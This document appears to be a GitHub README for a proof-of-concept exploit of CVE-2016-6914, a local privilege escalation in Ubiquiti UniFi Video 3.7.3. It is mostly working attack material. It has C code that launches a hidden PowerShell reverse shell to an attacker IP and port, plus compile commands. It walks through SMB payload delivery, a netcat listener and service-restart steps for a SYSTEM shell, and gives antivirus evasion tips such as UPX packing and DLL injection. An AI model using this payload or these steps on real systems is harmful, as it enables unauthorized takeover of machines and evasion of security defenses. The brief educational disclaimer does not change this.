CVE-2016-6914 - Ubiquiti UniFi Video 3.7.3 LPE PoC

🔥 Overview

This repository contains a proof-of-concept (PoC) for CVE-2016-6914, a Local Privilege Escalation (LPE) vulnerability affecting Ubiquiti UniFi Video 3.7.3.

An attacker with low privileges can replace a trusted binary (taskkill.exe) inside C:\ProgramData\unifi-video\ to execute malicious code with SYSTEM privileges.

⚡ Exploitation

Steps to Exploit

1️⃣ Replace taskkill.exe with a malicious payload (exploit.exe).
2️⃣ Wait for UniFi Video Service to run or manually restart it.
3️⃣ The malicious payload executes, giving a SYSTEM shell.

🚀 Payloads Included

✅ PowerShell Reverse Shell
✅ Netcat Reverse Shell
✅ AV Bypass Techniques

📜 PoC Code (PowerShell Reverse Shell)

This payload replaces taskkill.exe and launches a reverse shell.

#include <windows.h>

int main() {
    system("powershell -NoP -W Hidden -c \"$client = New-Object System.Net.Sockets.TCPClient('10.10.16.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();\"");
    return 0;
}
✅ Compile using MinGW:
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
🛠️ Usage Instructions
1️⃣ Set Up SMB Share (for Remote File Delivery)
On Kali, run:
impacket-smbserver share . -smb2support
2️⃣ Start Netcat Listener
nc -lvnp 4444
3️⃣ Deliver Payload to Target Machine
Run the following PowerShell commands on the target system:
copy \\10.10.14.5\share\taskkill.exe C:\ProgramData\unifi-video\taskkill.exe
stop-service UnifiVideoService -Force
start-service UnifiVideoService
4️⃣ Get SYSTEM Shell
Once executed, a SYSTEM shell is opened on your listener!

🛡️ Bypassing Antivirus (AV)
To evade basic AV detection, try: ✔️ Packing Executable (UPX):
upx --best --lzma exploit.exe
✔️ Using Alternative Syscalls instead of system().
✔️ Embedding in Legitimate Processes using DLL Injection.

⚠️ Disclaimer
📢 This PoC is for educational purposes only!
🛑 Unauthorized use is illegal and punishable.
👨‍💻 Use it only in a legal and ethical manner.

Reference:https://www.exploit-db.com/exploits/43390

CVE-2016-6914-UniFiVideo-LPE

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